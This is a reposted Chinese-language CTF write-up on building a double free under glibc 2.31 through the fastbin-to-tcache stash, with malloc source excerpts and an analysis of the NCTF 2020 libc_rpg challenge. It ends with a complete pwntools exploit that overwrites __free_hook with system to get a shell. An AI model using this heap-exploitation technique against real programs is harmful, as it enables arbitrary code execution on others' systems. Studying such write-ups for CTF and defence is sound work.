glibc2.31下構造Double Free的新思路


​ 在libc2.26之后,tcache的到來讓堆管理的效率大幅提高,同時也帶來的一定的安全隱患,例如tcache dup可以隨意的構造double free

​ 在libc2.29更新之后,tcache對此問題進行了一些修改,更改了tcache中的entry結構體

new tcache entry

typedef struct tcache_entry
{
  struct tcache_entry *next;  //
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;  // newly pointer in struct
} tcache_entry;

tcache_put in glibc 2.31

//tcache_put will  set tcache_entry->key = tcache
tcache_put(mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;  // set e->key = tcache this is not exist in libc-2.27
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;  
  ++(tcache->counts[tc_idx]); 
}

double free check in free()

int free()
{
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
    /* Check to see if it's already in the tcache.  */
    tcache_entry *e = (tcache_entry *) chunk2mem (p);

    /* This test succeeds on double free.  However, we don't 100%
       trust it (it also matches random payload data at a 1 in
       2^<size_t> chance), so verify it's not an unlikely
       coincidence before aborting.  */
    if (__glibc_unlikely (e->key == tcache))
      {
        tcache_entry *tmp;
        LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache->entries[tc_idx];
         tmp;
         tmp = tmp->next)
          if (tmp == e)
        malloc_printerr ("free(): double free detected in tcache 2");
        /* If we get here, it was a coincidence.  We've wasted a
           few cycles, but don't abort.  */
      }

    if (tcache->counts[tc_idx] < mp_.tcache_count)
      {
        tcache_put (p, tc_idx);
        return;
      }
      }
  }

About Tcache Stash in source code

if ((unsigned long)(nb) <= (unsigned long)(get_max_fast())) //size beyond fast chunk
  {
    idx = fastbin_index(nb);
    mfastbinptr *fb = &fastbin(av, idx);
    mchunkptr pp;
    victim = *fb;
 
    if (victim != NULL) //如果有chunk
    {
      if (SINGLE_THREAD_P)
        *fb = victim->fd; //取出頭chunk
      else
        REMOVE_FB(fb, pp, victim);
 
      if (__glibc_likely(victim != NULL)) 
      {
        size_t victim_idx = fastbin_index(chunksize(victim));
        if (__builtin_expect(victim_idx != idx, 0)) //對fastbin的size檢查
          malloc_printerr("malloc(): memory corruption (fast)");
        check_remalloced_chunk(av, victim, nb);
 
#if 1 //if USE_TCACHE,Stash過程:把剩下的放入Tcache中
        /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
        size_t tc_idx = csize2tidx(nb);
        if (tcache && tc_idx < mp_.tcache_bins) //如果屬於tcache管轄范圍
        {
          mchunkptr tc_victim;
 
          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) //只要tcache沒空,並且fastbin還有chunk
          {
            if (SINGLE_THREAD_P)  //那么就從fastbin中取出
              *fb = tc_victim->fd;
            else
            {
              REMOVE_FB(fb, pp, tc_victim);
              if (__glibc_unlikely(tc_victim == NULL))
                break;
            }
            tcache_put(tc_victim, tc_idx);//然后放入tcache中
          }
        }
#endif
        void *p = chunk2mem(victim);
        alloc_perturb(p, bytes);
        return p;
      }
    }
  }

​ 在我們申請堆塊的時候(size<max_fast),如果系統在tcache中沒有找到對應的bin,但是在其他的bin中拿到了對應的chunk,則系統會認為此類的chunk十分需要,則會將該大小的chunk都移入對應的tcache bin

例如: 申請size為0x60的堆,在tcache中沒找到,但是在其他的bin中找到了,ptmalloc就會把其他bin中的堆塊放入tcache

fastbin double free

前面提到,tcache中由於key的存在,難以構造double free,但是fastbin中不存在這個問題

在常規的double free中

free(a);
free(b);
free(a);
fastbin:a->b->a

在2.31中的思路是,先把tcache填滿,

tcache bin:p1 -> p2 -> p3 -> p4 -> p5 -> p6 -> p7
fastbin:p8 -> p9 -> p8

再把tcache清干凈

tcache bin:null
fastbin : p8 -> p9 -> p8(double free)

然后malloc chunk 並寫入fd

tcache: p9 -> p8 -> target address

這樣就完成了在tcache double free 受限的情況下,達成了tcache poseing 的效果 與fastbin attack相比沒有了size位的限制,達成了任意地址寫

nctf 2020 libc_rpg

這里以nctf 2020的libc_rpg為例,此題當時0解,賽后復現研究一下,感覺蠻好玩的
有興趣的師傅可以下載附件來玩一下
附件下載:鏈接:https://pan.baidu.com/s/1cljEsI2jjL-JNYjv6Zuxtw 提取碼:s0zd
復制這段內容后打開百度網盤手機App,操作更方便哦
程序分析

這個程序是用C++寫的,我逆向的過程有些曲折,我的C++太菜了

大概就是模擬了一個rpg游戲

  • create your file 創建存檔
  • copy your file 復制存檔
  • delete your file 刪除存檔
  • start your game 以某個存檔的數據開始游戲

程序分析:

  • challeng native libc 打贏了加10塊錢
  • challenge old libc 有weapon之后打贏 可以new 0x20的堆,可以寫入東西
  • weapon 給你換個新的0x20 weapon為空就沒辦法challenge,會直接打不過,但是weapon要很多錢,所以用bet刷錢
  • rest 恢復體力,沒體力打不了libc
  • bet 猜數字,和隨機數一樣就能價錢,輸了會扣錢,可以輸負數,輸了就變成加錢
  v2 = std::operator<<<std::char_traits<char>>(&std::cout, "how much you will pay?");
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &choice);
  if ( *(a2 + 24) < choice )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "go out ,poor bastard!\n");
    sub_13D9();
  }
  std::operator<<<std::char_traits<char>>(&std::cout, "hmmm,but i think you will never win,:(\n");
  HIDWORD(choice) = rand_1(&std::cout, "hmmm,but i think you will never win,:(\n") % 6;
  if ( HIDWORD(choice) == 6 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "wtf???");
    *(a2 + 24) = 0x10000;
  }
  else
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "hhh,you lose!=w=\n");
    *(a2 + 24) -= choice;                       // input num < 0 , add money
  }
  return __readfsqword(0x28u) ^ v5;
  • copy your file 的時候雖然申請多了一個0x28的堆,但是程序把最后的指針也給copy過去了,導致uaf(這個uaf比較隱蔽)
result->weapon = (*(&a2_1 - 2))->weapon;      // uaf
最后在本地進行的復現,復現環境為libc-2.31,以下exp在本地環境下可以拿shell

exp:

from pwn import *
p=process('./pwn')
elf=ELF('./pwn')
#context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
def newusr():
    p.sendlineafter('>>','1')
    p.sendline('1')# choose your character
def cpusr(idx1,idx2):#copy idx1 => idx2
    p.sendlineafter('>>','2')
    p.sendlineafter('idx 1',str(idx1))
    p.sendlineafter('idx 2',str(idx2))
def delusr(idx):#delete file
    p.sendlineafter('>>','3')
    p.sendlineafter('idx',str(idx))
def startgame(idx):
    p.sendlineafter('>>','4')
    p.sendlineafter(' file>>',str(idx))
def bet(num):
    p.sendlineafter('>>','3')
    p.sendlineafter('how much you will pay?',str(num))
def weapon(): # buy weapon
    p.sendlineafter('>>','5')
def myweapon(content):
    p.sendlineafter('>>','2')
    p.sendlineafter('>>','2')
    p.sendafter(' weapon\n',content)
def show():
    p.sendlineafter('>>','6')
def exit_game():# exit game
    p.sendlineafter('>>','7')
def rest():
    p.sendlineafter('>>','4')

p.recvuntil('0x')
leak=int(p.recv(12),16)
log.info('printf_libc:\t'+hex(leak))
libc_base=leak-libc.symbols['printf']
log.info('libc_base:\t'+hex(libc_base))
for i in range(9):#0-8 file
    newusr()
    startgame(i)
    bet(-0x100000)
    weapon()
    exit_game()
for i in range(7): # free 0-6
    delusr(i)
cpusr(7,9)
cpusr(7,10)
delusr(10)
delusr(8)
delusr(9)
startgame(7)
for i in range(7):
    myweapon('ptrptr')
    rest()
#stash fastbin => tcache bin
#gdb.attach(p)
free_hook = libc_base+libc.symbols['__free_hook']
system = libc_base+libc.symbols['system']
myweapon(p64(free_hook))
rest()
#gdb.attach(p)
myweapon('ptrptr')
rest()
#gdb.attach(p)
myweapon('ptrptr')
rest()
#gdb.attach(p)
myweapon(p64(system))
rest()
myweapon('/bin/sh\x00')
exit_game()
delusr(7)#free 
p.interactive()

參考鏈接:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM